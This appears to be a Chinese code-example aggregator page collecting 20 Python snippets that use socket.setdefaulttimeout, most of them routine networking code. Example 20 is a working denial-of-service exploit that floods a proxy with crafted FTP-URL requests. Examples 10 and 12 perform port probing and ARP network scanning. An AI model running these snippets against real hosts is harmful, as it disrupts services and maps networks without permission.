本文整理汇总了Python中socket.setdefaulttimeout函数的典型用法代码示例。如果您正苦于以下问题:Python setdefaulttimeout函数的具体用法?Python setdefaulttimeout怎么用?Python setdefaulttimeout使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了setdefaulttimeout函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: testInetConnectivity
def testInetConnectivity(target="http://www.google.com"):
"""
test if we get an answer from the specified url
@param target:
@return: bool
"""
printl2("", "__common__::testInetConnectivity", "S")
import urllib2
from sys import version_info
import socket
try:
opener = urllib2.build_opener()
if version_info[1] >= 6:
page = opener.open(target, timeout=2)
else:
socket.setdefaulttimeout(2)
page = opener.open(target)
if page is not None:
printl2("success, returning TRUE", "__common__::testInetConnectivity", "D")
printl2("", "__common__::testInetConnectivity", "C")
return True
else:
printl2("failure, returning FALSE", "__common__::testInetConnectivity", "D")
printl2("", "__common__::testInetConnectivity", "C")
return False
except:
printl2("exception, returning FALSE", "__common__::testInetConnectivity", "D")
printl2("", "__common__::testInetConnectivity", "C")
return False
开发者ID:DonDavici,项目名称:DreamPlex,代码行数:33,代码来源:__common__.py
示例2: get_tags
def get_tags():
socket_to = None
try:
socket_to = socket.getdefaulttimeout()
socket.setdefaulttimeout(EC2.TIMEOUT)
except Exception:
pass
try:
iam_role = urllib2.urlopen(EC2.URL + "/iam/security-credentials").read().strip()
iam_params = json.loads(urllib2.urlopen(EC2.URL + "/iam/security-credentials" + "/" + unicode(iam_role)).read().strip())
from checks.libs.boto.ec2.connection import EC2Connection
connection = EC2Connection(aws_access_key_id=iam_params['AccessKeyId'], aws_secret_access_key=iam_params['SecretAccessKey'], security_token=iam_params['Token'])
instance_object = connection.get_only_instances([EC2.metadata['instance-id']])[0]
EC2_tags = [u"%s:%s" % (tag_key, tag_value) for tag_key, tag_value in instance_object.tags.iteritems()]
except Exception:
log.exception("Problem retrieving custom EC2 tags")
EC2_tags = []
try:
if socket_to is None:
socket_to = 3
socket.setdefaulttimeout(socket_to)
except Exception:
pass
return EC2_tags
开发者ID:ghessler,项目名称:dd-agent,代码行数:29,代码来源:util.py
示例3: start_scheduler
def start_scheduler(self):
c = self.colored
if self.pidfile:
platforms.create_pidlock(self.pidfile)
beat = self.Service(app=self.app,
max_interval=self.max_interval,
scheduler_cls=self.scheduler_cls,
schedule_filename=self.schedule)
print(str(c.blue('__ ', c.magenta('-'),
c.blue(' ... __ '), c.magenta('-'),
c.blue(' _\n'),
c.reset(self.startup_info(beat)))))
self.setup_logging()
if self.socket_timeout:
logger.debug('Setting default socket timeout to %r',
self.socket_timeout)
socket.setdefaulttimeout(self.socket_timeout)
try:
self.install_sync_handler(beat)
beat.start()
except Exception, exc:
logger.critical('celerybeat raised exception %s: %r',
exc.__class__, exc,
exc_info=True)
开发者ID:SYNchroACK,项目名称:crits_dependencies,代码行数:25,代码来源:beat.py
示例4: discover
def discover(service, timeout=2, retries=1):
group = ("239.255.255.250", 1900)
message = "\r\n".join([
'M-SEARCH * HTTP/1.1',
'HOST: {0}:{1}',
'MAN: "ssdp:discover"',
'ST: {st}','MX: 3','',''])
socket.setdefaulttimeout(timeout)
responses = {}
for _ in range(retries):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
sock.sendto(message.format(*group, st=service), group)
while True:
try:
response = SSDPResponse(sock.recv(1024))
responses[response.location] = response
except socket.timeout:
break
return responses.values()
# Example:
# import ssdp
# ssdp.discover("roku:ecp")
开发者ID:yacchin1205,项目名称:mqtt-adapters,代码行数:25,代码来源:ssdp.py
示例5: handle_request
def handle_request( self, trans, url, http_method=None, **kwd ):
if 'Name' in kwd and not kwd[ 'Name' ]:
# Hack: specially handle parameters named "Name" if no param_value is given
# by providing a date / time string - guarantees uniqueness, if required.
kwd[ 'Name' ] = time.strftime( "%a, %d %b %Y %H:%M:%S", time.gmtime() )
if 'Comments' in kwd and not kwd[ 'Comments' ]:
# Hack: specially handle parameters named "Comments" if no param_value is given
# by providing a date / time string.
kwd[ 'Comments' ] = time.strftime( "%a, %d %b %Y %H:%M:%S", time.gmtime() )
socket.setdefaulttimeout( 600 )
# The following calls to urllib2.urlopen() will use the above default timeout.
try:
if not http_method or http_method == 'get':
page = urllib2.urlopen( url )
response = page.read()
page.close()
return response
elif http_method == 'post':
page = urllib2.urlopen( url, urllib.urlencode( kwd ) )
response = page.read()
page.close()
return response
elif http_method == 'put':
url += '/' + str( kwd.pop( 'id' ) ) + '?key=' + kwd.pop( 'key' )
output = self.put( url, **kwd )
except Exception, e:
raise
message = 'Problem sending request to the web application: %s. URL: %s. kwd: %s. Http method: %s' % \
( str( e ), str( url ), str( kwd ), str( http_method ) )
return self.handle_failure( trans, url, message )
开发者ID:HullUni-bioinformatics,项目名称:ReproPhyloGalaxy,代码行数:30,代码来源:common.py
示例6: myproxy
def myproxy(url):
req = urllib2.Request(url)
try:
# Important or if the remote server is slow
# all our web server threads get stuck here
# But this is UGLY as Python does not provide per-thread
# or per-socket timeouts thru urllib
orignal_timeout = socket.getdefaulttimeout()
try:
socket.setdefaulttimeout(60)
response = urllib2.urlopen(req)
finally:
# restore orignal timeoout
socket.setdefaulttimeout(orignal_timeout)
# XXX: How to stream respone through Zope
# AFAIK - we cannot do it currently
return response.read()
except HTTPError, e:
# Have something more useful to log output as plain urllib exception
# using Python logging interface
# http://docs.python.org/library/logging.html
logger.error("Server did not return HTTP 200 when calling remote proxy URL:" + url)
for key, value in params.items():
logger.error(key + ": " + value)
# Print the server-side stack trace / error page
logger.error(e.read())
raise e
开发者ID:gisweb,项目名称:gisweb.utils,代码行数:34,代码来源:url_utils.py
示例7: __init__
def __init__(self, host, port, locationTemplate, timeout=5, ssl=False):
"""Create an instance of *HttpReader* bound to specific URL.
Note:
The `http_proxy` and `https_proxy` environment variables are
respected by the underlying `urllib` stdlib module.
Args:
host (str): domain name or IP address of web server
port (int): TCP port web server is listening
locationTemplate (str): location part of the URL optionally containing @[email protected]
magic placeholder to be replaced with MIB name. If @[email protected] magic is not present,
MIB name is appended to `locationTemplate`
Keyword Args:
timeout (int): response timeout
ssl (bool): access HTTPS web site
"""
self._url = '%s://%s:%d%s' % (ssl and 'https' or 'http',
host, port, decode(locationTemplate))
socket.setdefaulttimeout(timeout)
self._user_agent = 'pysmi-%s; python-%s.%s.%s; %s' % (
pysmi_version, sys.version_info[0], sys.version_info[1],
sys.version_info[2], sys.platform
)
开发者ID:etingof,项目名称:pysmi,代码行数:26,代码来源:httpclient.py
示例8: changep
def changep(self):
print 'changing proxy'
socket.setdefaulttimeout(3.0)
test_url = 'http://www.baidu.com'
while True:
try:
proxy = random.choice(Proxypool)
proxy = 'http://'+proxy
print proxy
except:
continue
try:
start = time.time()
f = urllib.urlopen(test_url,proxies={'http':proxy})
f.close()
except:
continue
else:
end=time.time()
dur = end - start
print proxy,dur
if dur <= 2:
print 'proxy changed to'
print proxy
self.proxy = proxy
self.proxy_usetime =0
break
else:
continue
开发者ID:Rygbee,项目名称:aminer-spider,代码行数:29,代码来源:noncitationspider.py
示例9: downloadPackage
def downloadPackage(strUrl, dest, module, timeout=120):
print strUrl, dest, region, module
print "--- prepare to download data for " + module
if not os.path.exists(dest):
os.makedirs(dest)
socket.setdefaulttimeout(timeout)
component = strUrl.split("/")[-1]
componentTar = os.path.splitext(component)[-2]
try:
urllib.urlretrieve(strUrl, dest + os.sep + component)
except socket.error:
errno, errstr = sys.exc_info()[:2]
if errno == socket.timeout:
print "There was a timeout"
print "--- Download failed ---"
print "--- Clean the broken data ---"
os.remove(dest + os.sep + component)
print "--- Start to retry downloading ---"
urllib.urlretrieve(strUrl, dest + os.sep + component)
else:
print "There was other socket error!"
except Exception, e:
print "Other exceptions!", e
print "--- Download failed ---"
print "--- Clean the broken data ---"
os.remove(dest + os.sep + component)
print "--- Start to retry downloading ---"
urllib.urlretrieve(strUrl, dest + os.sep + component)
开发者ID:jnhyperion,项目名称:hyperion_framework,代码行数:29,代码来源:installdata.py
示例10: da_connect
def da_connect(ip, port):
try:
socket.setdefaulttimeout(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send('Hello! This is EVIILLLE calling! Anyone home?')
data = s.recv(1024)
print 'We hit something! Received' + str(data)
print 'Logging hit on the network.'
fo = open("hits.txt", "a")
now = time.strftime("%c")
# date and time representation
print "Current date & time " + time.strftime("%c")
toFoOut = "We hit " + str(ip) + ": " + str(port) + ": " + time.strftime("%c")
# write to file
fo.write(toFoOut + '\n')
fo.close()
print 'Wrote to log file.'
# We want to close the connection after we opened it.
# This is for logging open ports and nothing more at the moment.
# Muhahahahahahaha.
s.close()
s.shutdown()
except:
return
开发者ID:blueghosties,项目名称:PythonOfEviiillle,代码行数:31,代码来源:babysock.py
示例11: main
def main(args, loglevel):
logging.basicConfig(format="%(levelname)s: %(message)s", level=loglevel)
socket.setdefaulttimeout(args.timeout)
g = Github()
with open(args.repo_file, 'r') as f:
file_counter = 0
for line in f.readlines():
logging.info('Fetching repository: %s' % line)
try:
repo_str = line.rstrip().split('github.com/')[-1]
repo = g.get_repo(repo_str)
tree = repo.get_git_tree('master', recursive=True)
files_to_download = []
for file in tree.tree:
if fnmatch.fnmatch(file.path, args.wildcard):
files_to_download.append('https://github.com/%s/raw/master/%s' % (repo_str, file.path))
for file in files_to_download:
logging.info('Downloading %s' % file)
file_counter += 1
filename = posixpath.basename(urlparse.urlsplit(file).path)
output_path = os.path.join(args.output_dir, filename)
if os.path.exists(output_path):
output_path += "-" + str(file_counter)
try:
urllib.urlretrieve(file, output_path)
except:
logging.error('Error downloading %s' % file)
except:
logging.error('Error fetching repository %s' % line)
开发者ID:ksmaheshkumar,项目名称:GithubDownloader,代码行数:31,代码来源:git_downloader.py
示例12: scan_block
def scan_block(self):
""" ARPing the local network
"""
conf.verb = 0
print '[!] Beginning host scan with netmask %s...' % (self.net_mask)
try:
start = datetime.now()
(ans, unans) = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=self.net_mask),timeout=1, inter=0.1,multi=True)
elapsed = (datetime.now() - start).seconds
print '[!] Scan of %s completed in %s seconds with %d hosts responding.'%(self.net_mask,elapsed,len(ans))
for s, r in ans:
ip = r[ARP].getfieldval('psrc')
mac = r[ARP].getfieldval('hwsrc')
if self.fingerprint:
host = ''
try:
if hasattr(socket, 'setdefaulttimeout'):
socket.setdefaulttimeout(3)
host = socket.gethostbyaddr(ip)[0]
except:
host = ''
print "\t%s : %s (%s)" % (mac, ip, host)
self._dbhost(mac, ip, host)
else:
print '\t%s : %s' % (mac, ip)
self._dbhost(mac, ip, '')
self.available_hosts[mac] = ip
except Exception:
Error('Error with net mask. Cannot scan given block.')
return
print '\n'
开发者ID:NullMode,项目名称:zarp,代码行数:31,代码来源:net_map.py
示例13: setup_modules
def setup_modules():
"""
Perform any global module setup needed by MyPyTutor.
"""
import socket
socket.setdefaulttimeout(GLOBAL_TIMEOUT)
开发者ID:CSSE1001,项目名称:MyPyTutor,代码行数:7,代码来源:MyPyTutor.py
示例14: _start_server
def _start_server(self):
"""Start up a viewing server."""
# Start viewer server
# IMPORTANT: if running in an IPython/Jupyter notebook,
# use the no_ioloop=True option
from ginga.web.pgw import ipg
if not self._port:
import socket
import errno
socket.setdefaulttimeout(0.05)
ports = [p for p in range(8800, 9000) if
socket.socket().connect_ex(('127.0.0.1', p)) not in
(errno.EAGAIN, errno.EWOULDBLOCK)]
self._port = ports[0]
self._server = ipg.make_server(host=self._host,
port=self._port,
use_opencv=self.use_opencv,
numthreads=self._threads)
try:
backend_check = get_ipython().config
except NameError:
backend_check = []
no_ioloop = False # ipython terminal
if 'IPKernelApp' in backend_check:
no_ioloop = True # jupyter console and notebook
self._server.start(no_ioloop=no_ioloop)
开发者ID:ejeschke,项目名称:imexam,代码行数:29,代码来源:ginga_viewer.py
示例15: discover
def discover(timeout=1.5):
"""Crude SSDP discovery. Returns a list of RxvDetails objects
with data about Yamaha Receivers in local network"""
socket.setdefaulttimeout(timeout)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
sock.sendto(SSDP_MSEARCH_QUERY.encode("utf-8"), (SSDP_ADDR, SSDP_PORT))
responses = []
try:
while True:
responses.append(sock.recv(10240))
except socket.timeout:
pass
results = []
for res in responses:
m = re.search(r"LOCATION:(.+)", res.decode('utf-8'), re.IGNORECASE)
if not m:
continue
url = m.group(1).strip()
res = rxv_details(url)
if res:
results.append(res)
return results
开发者ID:ahocquet,项目名称:rxv,代码行数:26,代码来源:ssdp.py
示例16: __init__
def __init__(self):
self.isAuthenticated = False
self.loggedInUsername = ''
self.loggedInPassword = '' # Testing only
self.defaultPassword = ''
self.testingHost = None
self.authTimestampSeconds = None
self.masterConnectionBroken = False
socket.setdefaulttimeout(15)
self.testMode = False
# The testing.txt file is used for testing only
testFilename = sys.path[0]
if testFilename == '':
testFilename = '.'
testFilename += '/testing.txt'
if os.path.isfile(testFilename):
self.testMode = True
testingFile = open(testFilename)
for line in testingFile:
match = re.match(r'host=([a-zA-Z0-9-]+)', line)
if match:
self.testingHost = match.group(1)
match = re.match(r'password=([a-zA-Z0-9-]+)', line)
if match:
self.defaultPassword = match.group(1)
testingFile.close()
开发者ID:Tominat0r,项目名称:xsconsole,代码行数:28,代码来源:XSConsoleAuth.py
示例17: connect
def connect(self):
HOST = ''
PORT = 9000
socket.setdefaulttimeout(3)
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.s.bind((HOST, PORT))
self.s.listen(5)
self.queue.put("listening...")
self.status = 'listening'
self.conn, addr = self.s.accept()
self.status = 'running'
response = self.receive()
output = {
'addr': str(addr),
'console': response
}
except socket.timeout:
self.s.shutdown(socket.SHUT_RDWR);
self.s.close()
self.s = None
output = {'response': 'Timeout. Connection closed.'}
self.status = 'idle'
self.queue.put(output)
开发者ID:artbek,项目名称:PyXdebugClient,代码行数:26,代码来源:engine.py
示例18: _get_nginx_status_stub_response
def _get_nginx_status_stub_response(url):
socket.setdefaulttimeout(5) # 5 seconds
c = urllib2.urlopen(url)
data = c.read()
c.close()
matchActive = re.search(r'Active connections:\s+(\d+)', data)
matchHistory = re.search(r'\s*(\d+)\s+(\d+)\s+(\d+)', data)
matchCurrent = re.search(r'Reading:\s*(\d+)\s*Writing:\s*(\d+)\s*'
'Waiting:\s*(\d+)', data)
if not matchActive or not matchHistory or not matchCurrent:
raise Exception('Unable to parse {0}' . format(url))
result = {}
result['nginx_active_connections'] = int(matchActive.group(1))
result['nginx_accepts'] = int(matchHistory.group(1))
result['nginx_handled'] = int(matchHistory.group(2))
result['nginx_requests'] = int(matchHistory.group(3))
result['nginx_reading'] = int(matchCurrent.group(1))
result['nginx_writing'] = int(matchCurrent.group(2))
result['nginx_waiting'] = int(matchCurrent.group(3))
return result
开发者ID:mingchen,项目名称:gmond_python_modules,代码行数:26,代码来源:nginx_status.py
示例19: get_news_urls
def get_news_urls(module):
"""Get all urls of certain module
:param module: urls of which module to get
:returns: urls - a list of urls
"""
urls = []
# get index range firstly
# http://news2.sysu.edu.cn/news01/index.htm
req = post_module.req_get_news_urls(module)
result = opener.open(req).read()
start, end = get_index_range(result)
# get urls in index.htm
urls.extend(html_extracting.find_news_urls(result, module))
# index1.htm to end will be crawled in the following loop
socket.setdefaulttimeout(100)
for i in range(int(start), int(end) + 1):
req = post_module.req_get_news_urls(module, i)
result = opener.open(req).read()
urls.extend(html_extracting.find_news_urls(result, module))
socket.setdefaulttimeout(10)
return urls
开发者ID:Ethan-zhengyw,项目名称:SYSUNEWS,代码行数:27,代码来源:api.py
示例20: remoteDos
def remoteDos(self):
socket.setdefaulttimeout(10) # Set the timeout to 10 seconds
try:
print "[+] Launching attack against %s:%d" % (self.target, self.port)
aTime = time.time()
for i in range(1,2000): # Commonly, 1035 queries are sufficient enough
if time.time() - aTime > 5: # More than XX seconds waiting, it worked
print
print "[+] Exploit works!"
return True
aTime = time.time()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.target, self.port))
s.send("GET ftp://user:[email protected]:%s HTTP/1.0\r\n\r\n" % int(self.port))
s.close()
sys.stdout.write("\b"*20 + "--> Connection #%d" % i)
sys.stdout.flush()
except KeyboardInterrupt:
print
print "Aborted."
return False
except socket.timeout:
if i > 50: # Count as a valid DOS condition if we sent at least 50 packets
print
print "[+] Exploit works!"
return True
else:
raise
开发者ID:caoimhinp,项目名称:inguma,代码行数:32,代码来源:CSunJavaProxyDos.py
注:本文中的socket.setdefaulttimeout函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论